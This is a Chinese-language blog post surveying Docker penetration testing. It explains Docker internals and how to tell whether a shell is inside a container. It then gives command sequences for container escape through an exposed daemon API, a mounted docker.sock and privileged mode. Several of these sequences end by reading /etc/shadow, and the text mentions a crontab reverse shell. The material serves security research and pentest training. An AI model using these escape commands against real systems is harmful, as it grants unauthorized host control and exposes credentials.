unix主机空间 Docker渗透思路调研
根据后来对系统的了解是采用了Docker来部署Jira、Jenkins等服务,但之前对于Docker的了解只在于如何使用拉取镜像
有次项目中通过漏洞反弹Shell就没有了后续操作,这很容易遗漏掉重要系统。 根据后来对系统的了解是采用了Docker来部署Jira、Jenkins等服务,但之前对于Docker的了解只在于如何使用拉取镜像,没有考虑到Docker相关的安全问题并且利用扩大渗透成果,例如,如何判断获取主机是否为Docker,有哪些工具可以提高效率,怎么通过Docker逃逸控制宿主机等后渗透攻击手法。 临时去查阅资料研究怎么逃逸,需要什么条件下才能触发,有哪些漏洞可以利用都已经晚了,而且随意操作有可能导致系统崩溃,为了后续遇到Docker可以成功利用,对Docker容器安全进行调研。 主要参考荷兰大学论文: A Methodology for Penetration Testing Docker Systems 根据论文将所有攻击手法梳理出来: Docket简介 Docker 使用Google公司推出的 Go 语言进行开发实现,基于Linux内核的cgroup、namespace,以及AUFS类的Union FS等技术,对进程进行封装隔离,属于操作系统层面的虚拟化技术。 虚拟化是一种资源管理技术,将计算机实体资源,如服务器、网络、内存等予以抽象转换后呈现出来,在同一主机上同时运行多个系统从而提高系统资源的利用率,降低成本方便管理和容错等好处。 传统方式是在硬件层面实现虚拟化,需要额外的虚拟机管理应用和虚拟机操作系统层,Docker容器是在操作系统层面上实现虚拟化,直接复用本地主机操作系统,因此更加轻量级。 Docker引擎由如下主要组件构成:Docker客户端(Docker Client)、Docker守护进程(Docker daemon)、containerd以及runc。它们共同负责容器的创建和运行。 Docker Client Docker Client是和Docker Daemon建立通信客户端,Docker Client可以通过三种方式和Daemon建立通信: Docker daemon Docker daemon在宿主机后运行,作为服务端接受来自客户端的请求,主要功能包括镜像管理、镜像构建、REST API、身份验证、安全、核心网络以及编排。 Docker daemon通过位于/var/run/docker.sock的本地IPC/Unix socket来实现Docker远程API,默认非TLS网络端口为2375,TLS默认端口为2376。 Docker Images 运行容器前需要本地存在对应的镜像,如果不存在默认会从Docker Hub镜像仓库下载。 镜像由多个层组成,每层叠加之后外部来看就如一个独立的对象,镜像内部是一个精简的操作系统同时包含应用运行所必须的文件和依赖包。 Docker Containers 容器是操作系统虚拟化将系统资源划分为虚拟资源。容器并不是完整的操作系统,启动要远比虚拟机快,容器内部并不需要内核,也就没有定位、解压以及初始化的过程。 Docker client选择合适的API调用Docker daemon,daemon接收到命令并搜索Docker本地缓存,观察是否有命令所请示的镜像。Linux默认安装时,客户端与daemon之间的通信是通过本地IPC/UNIX Socket完成的(/var/run/docker.sock) runC runc是一个轻量级的针对Libcontainer进行了馐的命令行交互工具,取代了早期Docker架构中的LXC。 runc只有一个作用,创建容器。 容器执行流程
daemon使用一种CRUD风格的API,通过gRPC与containerd进行通信。 然后runc与操作系统内核接口进行通信,基于所有必要的工具(Namespace、CGroup等)来创建容器。 容器进程作为runc的子进程启动,启动完后runc将会退出。 shim是实现无daemon的容器 虚拟机和容器最大的区别是容器更快并且更轻量级,与虚拟机运行在完整的操作系统相比,容器会共享其所在主机的操作系统、内核。 Data Persistence Docker的数据主要分为两类:持久化和非持久化数据,默认情况下非持久化存储是自动创建生命周期与容器相同,删除容器也会删除非持久化数据,非持久化数据默认存储于Linux:/var/lib/docker//之下。 如果希望将容器数据保留下来,需要将数据存储于卷上,默认情况下,容器的所有存储都使用本地存储。 Docker network Libnetwork通过Go语言编写,并实现了CNM中列举的核心组件。 驱动通过实现特定网络拓扑的方式来拓展该模型的能力。 Docker安全机制 利用了大部分Linux通用安全技术,这些技术包括了命名空间(Namespace)、控制组(CGroup)、系统权限(Capability)、强制访问控制(MAC)等。 Docker内容信任(Docker Content Trust,DCT) Docker安全扫描(Docker Security Scanning) Docker密钥 NamespaceControl Group 命名空间用于隔离,那么控制组就是用于限额。 容器之间是互相隔离的,但却共享OS资源,比如CPU、RAM以及IO。CGroup允许用户设置限制,这样单个容器就不能占用主机的CPU、RAM等资源了。 Capability 以root身份运行容器不是很安全,root拥有全部的权限,因此很危险,如果以非root身份运行容器那么将处处受,所以需要一种技术,能选择容器运行所需的root用户权限。 在底层,Linux root由许多能力组成,包括以下几点: Docker采用Capability机制来实现用户在以root身份运行容器的同时,还能移除非必须的root能力。 Seccomp Docker使用过滤模式下的Seccomp来限制容器对宿主机内核发起的系统调用。 每个新容器都会设置默认的Seccomp配置。 Attacker Models 整个容器环境的潜在攻击面和攻击对象,由四类威胁: 但实际最为重点的是,容器逃逸和针对Docker守护进程的攻击。 识别容器 要判断目标环境是不是容器,才谈得上容器逃逸,为后续渗透做更多准备。 .dockerenv 判断根目录下 /.dockerenv 文件 ls -alh /.dockerenv /.dockerenv是所有容器中都会存在这个文件,这个文件曾是LCX用于环境变量加载到容器中,现在容器不再使用LCX所以内容为空,通过这种方式来识别当前环境是否在容器中。 Control Group 为了限制容器的资源,Docker为每个容器创建了一个控制组以及一个名为docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器。 检查/proc/1/cgroup内是否包含docker等字符串 cat /proc/1/cgroup |grep "docker" 运行进程 当前环境内进程是否少于5个? ps aux 在系统进程中有一个根进行,ID为1,而且在容器中不会看到关于init或者systemd进程,而容器仅运行一个进程而不是完整的操作系统进程,所以可以通过系统进程数来判断是否为容器。 缺失程序 Docker的镜像会尽可能的小,只保留一些必要的库,而一些像常用的命令、gcc库都会被去除保证最小化,那么可以通过最基本的ping命令都不存在,可能是在Docker环境中。 当前环境是否常用的命令都不存在? ping、sudo、ifconfig、ssh、vi、gcc mount命令查看 Docker容器环境检测方法【代码】 关于如何检测当前权限是否容器,那么也应该会对应如何反检测。 容器信息收集 其他系统上执行 capsh --decode=value 检测/proc/mounts是否有包含docker.sock,如果发现了能够进行容器逃逸。 宿主机信息收集 哪些用户可以使用docker? grep docker /etc/group 当前宿主机可用镜像? docker images -a 当前运行哪些容器? docker ps -a Docker守护进程启动参数,读取配置文件: /usr/lib/systemd/system/docker.service /etc/docker/daemon.json find / -name “docker-compose.“ cat /home//.docker/config.json 错误配置未授权访问 curl localhost:2375/version export DOCKER_HOST="tcp://localhost:2375" 将宿主机目录挂载Docker/host/目录下,并通过chroot切换bash docker images docker run -it -v /:/host/ ubuntu:18.04 bash cd /host/ chroot ./ bash cat /etc/shadow 挂载Docker Socket 当容器可以访问docker socket时,可以通过与daemon的通信对其进行恶意操纵完成逃逸,容器A能访问docker socket便可在容器中安装docker client,通过docket.sock与宿主机进行交互unix主机空间,运行并切换至不安全的容器B中控制宿主机。 利用条件: 查找docker socket 安装docker client apt-get install docker.io 查看当前镜像 docker images 运行一个Ubuntu容器,将宿主机的根目录挂载到容器中的host目录上: docker run -it -v /:/host/ ubuntu:18.04 bash 在新容器执行,将根目录换成指定的目录: chroot ./ bash 基本从容器中逃逸出来了,可以往crontab写计算任务反弹Shell进行操控。 环境构建 下载ubuntu14 docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash 更新源 deb-src xenial main restricted #Added by software-properties deb xenial main restricted deb-src xenial main restricted multiverse universe deb xenial-updates main restricted deb-src xenial-updates main restricted multiverse universe #Added by software-properties deb xenial universe deb xenial-updates universe deb xenial multiverse deb xenial-updates multiverse deb xenial-backports main restricted universe multiverse deb-src xenial-backports main restricted universe multiverse #Added by software-properties deb xenial partner deb-src xenial partner deb xenial-security main restricted deb-src xenial-security main restricted multiverse universe #Added by software-properties deb xenial-security universe deb xenial-security multiverse 安装docker client环境 apt-get install docker.io 查看宿主机信息: docker -H unix:///host/var/run/docker.sock info Privileged Mode 在特权模式下运行不完全受控容器,将会给宿主机带来极大安全威胁,当执行: docker run —privileged Docker将允许容器访问宿主机上的设备,也拥有修改AppArmor或者SeLinux的权限,相当于就是宿主权限。 当管理员使用特权运行容器时: docker run -it --rm --privileged ubuntu:latest bash 其中特权模式下可以看到宿主机上的设备,直接进行挂载磁盘,然后将根目录切换过去。 fdisk -l mkdir /host mount /dev/vda1 /host cd /host chroot ./ bash Capabilities 容器社区一直在努力将纵深防御、最小权限等理念和原则落地,目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限。 如果用户启动容器时指定参数,那么使用了一些危害参数那么很可能给攻击者提供了一定程度逃逸的可能性。 CAP_SYS_ADMIN 启动容器指定CAP_SYS_ADMIN: docker run —rm -it —cap-add=CAP_SYS_ADMIN —security -opt apparmor=unconfined ubuntu /bin/bash (编辑:晋中站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |